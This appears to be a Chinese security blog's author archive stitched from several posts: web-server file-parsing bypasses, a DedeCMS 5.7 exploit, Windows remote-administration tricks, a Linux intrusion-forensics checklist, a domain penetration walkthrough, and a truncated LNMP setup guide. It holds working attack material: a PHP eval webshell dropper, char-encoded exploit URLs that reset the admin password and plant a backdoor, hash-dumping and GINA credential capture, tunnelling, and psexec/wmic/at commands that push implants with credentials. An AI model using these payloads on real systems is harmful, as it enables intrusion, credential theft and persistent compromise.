作者归档:飞哥

IIS 6.0/7.0/7.5、Nginx、Apache 等服务器解析漏洞总结

[+]IIS 6.0

目录解析:/xx.asp/xx.jpg  xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码

IIS6.0 会将 xx.jpg 解析为 asp 文件。

后缀解析:/xx.asp;.jpg     /xx.asp:.jpg(此处需抓包修改文件名)

IIS6.0 都会把此类后缀文件成功解析为 asp 文件。

(站长评论:IIS6.0解析漏洞的成因,可以查阅:IIS文件名解析漏洞扼要分析)

{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp}

(站长评论:发现错误,并不是不允许存在,这种路径叫做“NTFS数据流”,具体见:IIS6使用冒号上传漏洞,发现IIS6漏洞(上传利用) 底下的评论)

默认解析:/xx.asa    /xx.cer   /xx.cdx

IIS6.0 默认的可执行文件除了 asp 还包含这三种

(站长评论:这种主要是由于在 IIS 默认配置中,这几个后缀默认由 asp.dll 来解析,所以执行权限和 .asp 一摸一样,你可在配置中自行删除该后缀,以防止安全隐患)

此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

[+]IIS 7.0/IIS 7.5/Nginx <=0.8.37

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。

常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

e.g.  copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二进制[binary]模式

/a 即ascii模式 xx.jpg正常图片文件

yy.txt 内容 <?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>

意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件

######################################

找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 cmd

[+]Nginx <=0.8.37

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

(站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞)

[+]Apache

后缀解析:test.php.x1.x2.x3

Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析

test.php.x1.x2.x3 则会被解析为php

经验之谈:php|php3|phtml 多可被Apache解析

(站长评论:关于 apache 解析漏洞可以查阅“Apache 漏洞之后缀名解析漏洞”)

[+]其他一些可利用的

在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!

在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。

我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}

如果在Apache中.htaccess可被应用(Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置 By sfasfas),

且可以被上传,那可以尝试在.htaccess中写入:

<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件

[+]lighttpd

xx.jpg/xx.php

Dede cms 5.7版最新 任意sql执行可getshell与修改后台账号密码

EXP:
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

如果不出问题,后台登录用户spider密码admin
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。

如果找不到后台,参见以前修改数据库直接拿SHELL的方法
UPDATE `dede_mytag` SET `normbody` = ‘{dede:php}file_put_contents(”spider.php”,””);{/dede:php}’ WHERE `aid` =1 LIMIT 1 ;

getshell:
&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

会在plus目录生成 x.php 密码 m

http://127.0.0.1/plus/x.php

update成功后还要访问下 /plus/mytag_js.php/aid=1

http://localhost/plus/download.php?open=1&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

使用SC命令远程开启计算机的服务

SC其实是一个命令工具而已,它具备开启计算机服务的功能,早期都把它认为是黑客工具,而在Windows 2003中将这个命令内置在操作系统中,可以使用它远程开启其他计算机的服务,包括了系统上已经禁用的服务

下面介绍该工具的使用,开启远程主机192.168.1.202的telnet服务(需要知道该主机的用户名和密码):

1.首先使用sc \\192.168.1.202 query tlntsvr来查看远程主机的telnet的服务状态,得到结果是stopped(已停止)

2.然后使用sc \\192.168.1.202 qc tlntsvr 查询当前的telnet服务的配置状况,发现是disabled(已禁用)

3.使用sc \\192.168.1.202 config tlntsvr start= auto使telnet服务开机自动启动

4.使用sc \\192.168.1.202 qc tlntsvr 查询经过配置的telnet服务是否已经发生改变,已经成为auto_start(自动启动)

5.使用sc \\192.168.1.202 start tlntsvr 来启动telnet服务

6.使用sc \\192.168.1.202 query tlntsvr 查看telnet服务是否已经在运行

7.接下来就可以使用telnet 192.168.1.202进行telnet了

通过命令行注销当前WINDOWS已登录的用户

第一步、首先你可以telnet到此主机上(不管你用哪种方法),当然如果能直接操作机器更好,不过直接操作就不必用命令行了,用控制台更直观,这里不是我们讲述的问题,略过。

第二步、Telnet上去后,先看登陆的用户:
输入命令:query user
系统返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator console 0 运行中 . 2004-10-09 15:37
user1 UserMachine1 1 运行中 . 2004-10-09 15:37
user2 12 已断开 无 2004-10-09 15:37

此时可以看出的可能根我们的不一样,根据具体情况而定。
看到吗? ID 0 的用户是本地登陆的,ID 1 和 ID 12是3389登陆的用户,前者在运行中,后者已经断开了,但是断开了仍然占用系统资源和通道,我们要把它踢掉。如下进行操作即可。

输入命令:logoff 12

C:\>query user //再看看
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator console 0 运行中 . 2004-10-09 15:37
user1 UserMachine1 1 运行中 . 2004-10-09 15:37

第三步、如果服务器关闭了telnet功能(这是默认的),还可以通过SqlServer的xp_cmdshell扩展存储过程,使用格式:master.dbo.xp_cmdshell ’命令内容’,其余可参考第二步。此方式要求有访问xp_cmdshell的权限。

删除windows用户时提示“用户不属于此组”解决方法

如果您是一名网络管理员,请保持经常检查服务器帐户的良好习惯,如果您看到一名陌生的帐户,而且发现这名帐户不属于任何用户组的时候,那么恭喜你,你的管理员帐户可能被克隆了,该用户很可能拥有服务器的超管权限,因为那是通过克隆你的超管帐号的sam信息建立的帐户,该用户不属于任何用户组,使用用户管理器或命令行下删除该用户时将提示“用户不属于此组”,正确删除方法如下:
运行注册表编辑器,依次展开HKEY_LOCAL_MACHINE\SAM\SAM,右键点击,选择权限,更改Administrators的权限为完全控制;
刷新后依次展开该项下的的Domains\Account\Users\Names\ 删除该子项下的陌生帐号及与之相对应的Domains\Account\Users里的项;
返回,删除administrator在HKEY_LOCAL_MACHINE\SAM\SAM下的权限;
重启系统搞定。

Linux入侵检查实用指令

1
可以得出filename正在运行的进程
#pidof filename

2
可以通过文件或者tcp udp协议看到进程
#fuser -n tcp port

3
可以看文件修改时间,大小等信息
#stat filename

4
看加载模块
#lsmod

5
看rpc服务开放
#rpcinfo -p

6
看网卡是否混杂模式(promiscuous mod)
#dmesg|grep eth0

7
看命令是否被更改,象md5sum一样
#rpm -Vf /bin/ls
rpm -Vf /bin/ps正常无输出,否则输出SM5….T /bin/su之类提示
如果rpm的数据库被修改则不可靠了,只能通过网络或则cdrom中的rpm数据库来比较
如:rpm -Vvp ftp://mirror.site/dir/RedHat/RPMS/fileutils-3.16-10.i386.rpm
以下常用命令需要检查
/usr/bin/chfn
usr/bin/chsh
/bin/login
/bin/ls
/usr/bin/passwd
/bin/ps
/usr/bin/top
/usr/sbin/in.rshd
/bin/netstat
/sbin/ifconfig
/usr/sbin/syslogd
/usr/sbin/inetd
/usr/sbin/tcpd
/usr/bin/killall
/sbin/pidof
/usr/bin/find

8
如果检查的是已经确认被黑客攻击的机器,完美建议:
1.dd一个备份硬盘上
2.mount 一个光驱,上面有静态编译好的程序ls ps netstat等常用工具
3.用nc把执行步骤输出到远程机器上

9
用md5sum保存一个全局的文件
find /sbin -type f|xargs md5sum >1st
检查是否改变
md5sum -c 1st|grep OK

10
避免在已经攻击的机器上过多写操作,可以:
1.在另一个机器192.168.20.191上运行
nc -L -p 1234 >some_audit_output.log 注意L是大写,可以永久侦听
2.被攻击机器上运行
command|nc 192.168.20.191 1234

script >/mnt/export.log
检测完毕后用ctrl+d保存记录

11
通过进程查找可疑程序方法:
1.netstat -anp 这步主要靠经验,把可疑的都记录下来
2.进入内存目录 cd /proc/3299
3. ls -la,一般exe可以看到执行文件路径,
4.再进入fd目录查看文件句柄,至此一般都可以找出执行程序
5.ps -awx 把刚才可疑的进程观察一遍

12
如果hacker把日志删除了:
1.查找所有未被删除彻底的日志,比如history,sniffer日志
2./proc/pid/fd 目录里提示已经删除的文件
l-wx—— 1 root root 64 Aug 10 20:54 15 -> /var/log/httpd/error_log (deleted)
l-wx—— 1 root root 64 Aug 10 20:54 18 -> /var/log/httpd/ssl_engine_log (deleted)
l-wx—— 1 root root 64 Aug 10 20:54 19 -> /var/log/httpd/ssl_mutex.800 (deleted)
l-wx—— 1 root root 64 Aug 10 20:54 20 -> /var/log/httpd/access_log (deleted)
l-wx—— 1 root root 64 Aug 10 20:54 21 -> /var/log/httpd/access_log (deleted)
l-wx—— 1 root root 64 Aug 10 20:54 22 -> /var/log/httpd/ssl_request_log (deleted)
l-wx—— 1 root root 64 Aug 10 20:54 23 -> /var/log/httpd/ssl_mutex.800 (deleted)
lrwx—— 1 root root 64 Aug 10 20:54 3 -> /var/run/httpd.mm.800.sem (deleted)
lrwx—— 1 root root 64 Aug 10 20:54 4 -> /var/log/httpd/ssl_scache.sem (deleted)

3.用静态编译的lsof |grep deleted查看哪些被删除
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
gpm 1650 root 1u REG 8,2 5 149743 /var/run/gpm208raa (deleted)

4.得到文件inode号,这里是149743
5.使用sleuthkit工具来恢复,
df /var得出硬盘位置是sda1
icat /dev/sda1 149743
6.把恢复的文件仔细查看,一般都可以找到痕迹了

这样会使分析编译后的程序困难
gcc -04 -evil.c -o evil
strip ./evil

1.file查看文件类型,是否静态编译、是否strip过
2.strings显示程序中的asicc字符串,通过字符串再到google上找
3.strace是跟踪系统调用(这个还不知道怎么样用)strace -p pid
4.gdb(更不会用啦)

13
有些进程不在进程里显示,但在/proc中有痕迹,可比较找出隐藏的进程
proc是伪文件系统,为/dev/kmem提供一个结构化的接口,便于系统诊断并查看每一个正在运行的可执行文件的环境
#ps -ef|awk ‘{print $2}’|sort -n|uniq >1
#ls /porc |sort -n|uniq >2
#diff 1 2

14
应急工具tct,里面有许多使用工具,包括icat等数据恢复
如果在被攻击的机器取证,可以mount一块硬盘,也可以备份到网络中,方法:
a.在网络机器运行 nc -L -p 1234 >abc.img
b.肉鸡运行 dd if=/dev/hdb5 count 20000 bs=1024|nc 192.168.0.1 1234 -w 3
如果备份过大,则可以侦听多个端口,执行多个dd拷贝,然后把文件合并 cat 2 >>1.img

15
ldd可以显示一个可执行程序所依赖的动态库,但间接依赖库无法显示出来
[root@rh9bk root]# ldd /bin/ls
libtermcap.so.2 => /lib/libtermcap.so.2 (0×40022000)
libc.so.6 => /lib/tls/libc.so.6 (0×42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0×40000000)
strace工具是一个调试工具,它可以显示出一个程序在执行过程中的所有系统调用,
[root@rh9bk root]# strace -eopen /bin/ls >/dev/null
open(“/etc/ld.so.preload”, O_RDONLY) = -1 ENOENT (No such file or directory)
open(“/etc/ld.so.cache”, O_RDONLY) = 3
open(“/lib/libtermcap.so.2″, O_RDONLY) = 3
open(“/lib/tls/libc.so.6″, O_RDONLY) = 3
open(“/usr/lib/locale/locale-archive”, O_RDONLY|O_LARGEFILE) = 3
open(“.”, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
open(“/etc/mtab”, O_RDONLY) = 3
open(“/proc/meminfo”, O_RDONLY) = 3

strace -o out telnet 192.168.100.100
o参数的含义是将strace的输出信息生成到out文件中,这个文件名是可以随意制定的。
我们打开out文件会发现大量的系统调用信息,我们关心的主要是open这个系统调用的信息,open是用来打开文件的,不仅调用动态库要先用open打开,读取配置文件也使用open,所以用sed写一个简单的脚本就可以输出out文件中所有的open信息
sed -n -e ‘/^open/p’ out
输出信息如下:
open(“/etc/ld.so.preload”, O_RDONLY) = -1 ENOENT (No such file or directory)
open(“/etc/ld.so.cache”, O_RDONLY) = 3
open(“/lib/libutil.so.1″, O_RDONLY) = 3
open(“/usr/lib/libncurses.so.5″, O_RDONLY) = 3
open(“/lib/i686/libc.so.6″, O_RDONLY) = 3
open(“/etc/resolv.conf”, O_RDONLY) = 3
open(“/etc/nsswitch.conf”, O_RDONLY) = 3
open(“/etc/ld.so.cache”, O_RDONLY) = 3
open(“/lib/libnss_files.so.2″, O_RDONLY) = 3
open(“/etc/services”, O_RDONLY) = 3
open(“/etc/host.conf”, O_RDONLY) = 3
open(“/etc/hosts”, O_RDONLY) = 3
open(“/etc/ld.so.cache”, O_RDONLY) = 3
open(“/lib/libnss_nisplus.so.2″, O_RDONLY) = 3
open(“/lib/libnsl.so.1″, O_RDONLY) = 3
open(“/var/nis/NIS_COLD_START”, O_RDONLY) = -1 ENOENT (No such file or directory)
open(“/etc/ld.so.cache”, O_RDONLY) = 3
open(“/lib/libnss_dns.so.2″, O_RDONLY) = 3
open(“/lib/libresolv.so.2″, O_RDONLY) = 3
open(“/etc/services”, O_RDONLY) = 3
open(“/root/.telnetrc”, O_RDONLY) = -1 ENOENT (No such file or directory)
open(“/usr/share/terminfo/l/linux”, O_RDONLY) = 4
从输出中可以发现ldd显示不出来的几个库
/lib/libnss_dns.so.2 ,
/lib/libresolv.so.2 ,
/lib/libnsl.so.1,
/lib/libnss_nisplus.so.2,
/lib/libnss_files.so.2

strace -o aa -ff -p PID会产生aa名称开头的多个文件

grep open aa* | grep -v -e No -e null -e denied| grep WR 查看其打开调用的文件信息。

16
要把日志发送到日志主机步骤:
a.vi /etc/syslog.conf *.* @192.168.20.163 把所有日志发送到192.168.20.163
b.service syslog restart
c.在192.168.20.163安装kiwisyslogd
d.远程登陆,故意输入错误密码,可看到日志主机上马上有报警,也可以tcpdump port 514观察

17
如果知道黑客是0927入侵的,则:
touch -t 09270000 /tmp/a
find / \( -newer /tmp/a -o -cnewer /tmp/a \) -l
这样那天改变和创建的文件被列出

18
整盘复制
dd if=/dev/sda of=/dev/sdb bs=1024
分区复制 测试过
dd if=/dev/sda1 of=/abc bs=1024 这里是保存在了根分区,用mount查看是sda2
启动另一个linux
输入:mount /dev/sda2 /mnt
这里可以看到刚才的abc文件,输入:mount aa /tmp -o loop
这里看到就是刚才镜像的文件内容

19 find
查找指定字符的文件(测试发现二进制也可以发现,是strings后的内容)
find /tmp -type f -exec grep “no exist” {} \; -print

find /etc/rc.d -name ‘*crond’ -exec file {} ;

查找/etc/rc.d目录下面所有以crond结束的文件,并使用file指令查看其属性,注意:exec和file间是一个空格,file和{}间是一个空格,file和;之间是一个空格,;是一个整体。

20
kill -SIGSEGV 进程号 会产生一个core文件,用strings可以看信息,用一个c程序可以重新构建它的可执行程序,study/unix/下保存一个文章。测试没产生core,原因不详

Linux查找WebShell

find /var/www -name "*.php" -mtime -7 //查找7天内生成的php文件
find /var/www -name "*.php" |xargs grep "eval" |more //查找包含eval字符的php文件(下同)
find /var/www -name "*.php" |xargs grep "shell_exec" |more
find /var/www -name "*.php" |xargs grep "passthru" |more
find /var/www -name "*.php" |xargs grep "fsockopen" |more >list.log //查找并输出记录到文件
find /var/www -name "*.php" |xargs grep "base64_decode" |more

域渗透实录技巧总结

1.收集信息。
1-1.不论什么途径获得的内网机器,确定他在内网后,我们首先就要了解这台机器的所属人员,如果我们的目标是公司,那我们就要了解这个人在公司里的职位,他是个什么身份,有多大的权利,这都关系到他在内网里的权限。因为,作为大公司,一个高权限的人他在内网里所要用到的东西就多,那么相对他的机器,当然权限就会比一般普通员工的高很多,这在我的渗透过程中是常见的。
既然有了他的机器,那么翻翻他的电脑这是必要的,如果你说要怎么翻,你可以尝试熟悉他的电脑甚至比他本人还熟,那你就算了解详细了。一台个人用的电脑,从上面翻出与他自己相关的一些信息,和大量公司信息应该是没有问题的,除非,这是台新电脑。
1-2.了解了一定的人员信息,期间你要记下你所掌握到的账号,密码这些重要数据,以后有一定的用,所以,在你渗之前,不妨建个记事本将重要信息保存起来,写个记事本不会浪费你多少时间。接下来,我们就应该对这个网络进行一定的了解,他是一般的内网,还是域?一般大公司都会用域的,我们只需要查一下就知道,要想对他进行渗透,你就必须了解他的网络拓补,当然,一些太具体的物理上我们是无法了解的,我们只能了解我们所能知道的。不管他是INT,DMZ,LAN,我们必须足够掌握。在这,我们就会用到一定的命令,相信大家应该都很熟悉。
ipconfig /all 查询一下本机的一些情况,IP段 网关 属于不属于域
net view 查询一些存在联系的机器,一般以机器名显示,我们需要对其PING出IP,一是方便查询哪些重要机器的IP,二是方便查询存在几个段
net view /domain 查询有几个域 因为大型网络里面一般不止一个域的
net group /domain 查询域里面的组
net user /domain 查询域用户
net group “domain admins” /domain 查询域管理用户组
这些都是我们需要了解的,当然有时候还会需要再查询一些信息,NET命令下你们都会找到,不需要我再重复,具体的情况具体分析问题。
2.信息归档
2-1。有了信息,我们就要对信息进行一定的归档,将每个机器名所对应的IP归档,方便用时不会乱。
2-2。查询出的用户,管理员,我们也必须归档。
2-3。查询信息时可能出现的有利用价值信息必须归档。
3.技术利用
3-1。不论是通过键盘记录。或者HASH的抓取,我们需要将账号,密码,邮箱,凡是涉及关键数据的全部保存,一方面是准备渗透的资料,二是防止当前利用机器会掉。
3-1-1。利用远控的键盘记录进行抓取。
3-1-2。利用PWDUMP7或者GETHASHES进行抓取HASH,然后破解。GETHASHES V1.4后 可以抓取域的全部HASH。
3-1-3。用GINASTUB.DLL获取管理员的账号和密码。因为域管理员有权限登陆任何一台机器。种上这个只是方便记录他所登陆的密码。INSTALL后,会在SYSYTEM32下生成一个 FAXMODE.INC 文件记录密码。
3-2。有了内网,很多东西我们是没有必要直接在当前利用机器上操作的,别人虽然是内网,但是不代表他没有防御系统,所以,我们建立SOCKS或者VPN是很有必要的,建立SOCKS相信大家都会了吧。
3-2-1。我在这推荐 VIDC 这个工具,很方便,在CMD下直接操 VIDC.EXE -D -P PORT 就可以了。
3-2-2。在利用机器上使用LCX,CMD下 LCX.EXE -SLAVE 服务器IP PORT 127.0.0.1 PORT,然后到服务器上 CMD下 LCX.EXE -LISTEN 服务器IP PORT 任意PORT。
3-2-3。建立SOCKS后在本地可以用SOCKSCAP来进行连接,成功连接后该操作什么就看你们自己了。
基本上我们就只能操作这么多了,后面已经没有什么技术上的再使用或利用,但是这中间的经验不少,所需要处理的细节也不少。
我们在得到内网机器后,如果他存在域,但是没有使用域账号怎么办?那我们只能查询或者想尽一切手段获得他常用的账号密码,然后利用这个账号密码,再通过SOCKS进入域。这其中就关系到各位同行查看控制机器的文件,还有记录密码,GINA,HASH破解,这些都是必须的。
进入域后,我们又该怎么做,建立SOCKS后又该怎么做。我们可以扔S上去查看主要的端口,我们可以对端口进行弱口令的尝试,我们可以针对内网的WEB进行检测,方式很多,甚至你可以用MS08-067对另一台机器进行突破,但是相信我,能使用域的机器,大部分都是补丁打齐的。我们能利用的很少,但是不能灰心,只要能在内网穿梭,我们至少在防御上会轻松很多,我们需要的只是耐心和时间。
一旦拥有密码,我们就可以尝试IPC连接,直接拿下域,这就得看你们的权限有多大。
net use \\IP\ipc$ password /user:username@domain
推荐使用这样的方式输入账号和密码,为什么?如果用户名存在空格,你这样输会保险些。什么 域用户不能存在空格?
是的,以前我也认为不会,微软的讲师也说不会,不过,经过我的测试和经验,那是假的,域 完全可以空格,除了 user name 这样的,还可以存在 user na me ,不信 你可以试试。
建立IPC后,你只是想COPY文件 或者 RAR文件 再或者种马 那就是你的自由了。
后话:最近因为在渗域,在渗透过程中,也确实出现一些问题,几次都是不知如何进行,其实在技术上,并没有什么障碍。主要是在于对方有着比较强的主防御,而我的远控最开始连CMD都无法执行,后经过几天的环境测试,突破了CMD。有了CMD后,进行了查询,获得了一些信息,就开始了往下的渗透,被控机器的密码我不是跑出来的,我是翻他的文件翻出他常用密码的。因为他没有使用域账号,都是以系统账号登陆,所以无法查看域。我只能用他的域账号建立IPC连接,查找到内网的一个WEB服务,将其渗透后才算拿下了一个稳定的内网机器。
拿下内网WEB服务器后,我就已经完全在域内,没有使用HASH INJECTION,我是先查询了DOMAIN ADMINS,发现WEB服务器上的账号就属于这个组,PW后得到了HASH,破解掉我就连向了域控服务器的IPC$。
连接了IPC$,直接在其SYSYTEM32下扔了一个远控,然后用AT命令将其启动,这期间我尝试了5个SHIFT,但是SHIFT关闭后,我的远控也会掉,所以排除了这种方法,还是用AT来ADD NEW JOB 比较方便。
给域控服务器种了远控,利用CMD来GETHASHES了全部的HASHES进行破解,很幸运的查到了文件管理组的用户,这才有了我后面的目标达成。
总的来说,我这次的渗透比较运气好,中间麻烦事不是太多,不过也花了半个月的时间,时间大部分花在测试防御环境,软件免杀,木马免杀,查找资料这些上面。
后来,我获取了他的网络拓补图,发现我所呆的区域只是一个小小的域,还有好几个域我还没有涉及到,在域的前面是DMZ,而DMZ前面当然是INT了。
已经很晚了,本来是在写一份详细的渗透过程,不过因为一直工作,很多细节没有办法当场记录,所以,暂时在BLOG上写一些能想到的,后面如果有时间有环境,会再补充更多的细节以及图片和在渗透时所遇到的麻烦,如何解决等写出来。
———————————————————————————————-
常用命令
net view
查看同一域/工作组的计算机列表
net view /domain
查看域/工作组列表
net view /domain:Secwing
查看Secwing域中 计算机列表
net group /domain
查看所在域的组
net user /domain
查看所在域用户
net user /domain zerosoul 12345678
修改域用户密码,需要域管理员权限,或者Ctrl+Alt+Del点击修改则不需要域管理员权限
net localgroup administrators SECWING\zerosoul /add
域Users组用户添加到本地Administrators组,需要本地管理员或域管理员在本机登陆域后进行
下面的命令 只能用于 域控制器:
net group “Domain controllers”
查看域控制器(如果有多台)
net group
查看域的组
net group “domain admins”
查看域管理员
net group “domain users”
查看域管理员
PS:打开配置域控制器向导的命令
dcpromo
psexec /accepteula 绕过第一次验证窗口
mstsc/admin 解决hash无法抓出问题
wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe
psexec.exe -s -u administrator -p k78m90 \\172.16.16.2 -c c:\kav\2009.exe 拷贝文件并且执行
psexec.exe -s -u administrator -p km3h7i \\172.16.16.2 -c c:\kav\gsecdump.exe -u 抓取hash
net use \\172.16.16.2\IPC$ “k78m90″ /user:”admintitrator”
net use \\172.16.16.2\IPC$ “k78m90″ /user:”aABIMAQ\Administrator”
net time \\172.16.16.2
at \\172.16.16.2 13:50 2009.exe
java reDuhClient fdc1.cnhan.com http 80 /admin/reduh.aspx reduh连接命令
[createTunnel]1234:127.0.0.1:3389 端口转向命令
iam-alt -h user-hash 这样hash就被注入了
whosthere-alt.exe 来查看是否被注入成功。

CentOS6.x使用YUM安装配置LNMP运行环境

一、Nginx

# cd /tmp
# wget http://nginx.org/packages/centos/6/noarch/RPMS/nginx-release-centos-6-0.el6.ngx.noarch.rpm
# rpm -ivh nginx-release-centos-6-0.el6.ngx.noarch.rpm
# yum install nginx

站点配置样本:

server {
	listen 80;
	server_name www.chnlanker.net;
	root /usr/www/;
	index index.html index.php;

	access_log /var/log/nginx/access_filename.log main;
	error_log /var/log/nginx/error_filename.log warn;
	error_page 404 /404.html;
	error_page 500 502 503 504 /50x.html;

	location ~ \.php$ {
		fastcgi_pass 127.0.0.1:9000;
		fastcgi_index index.php;
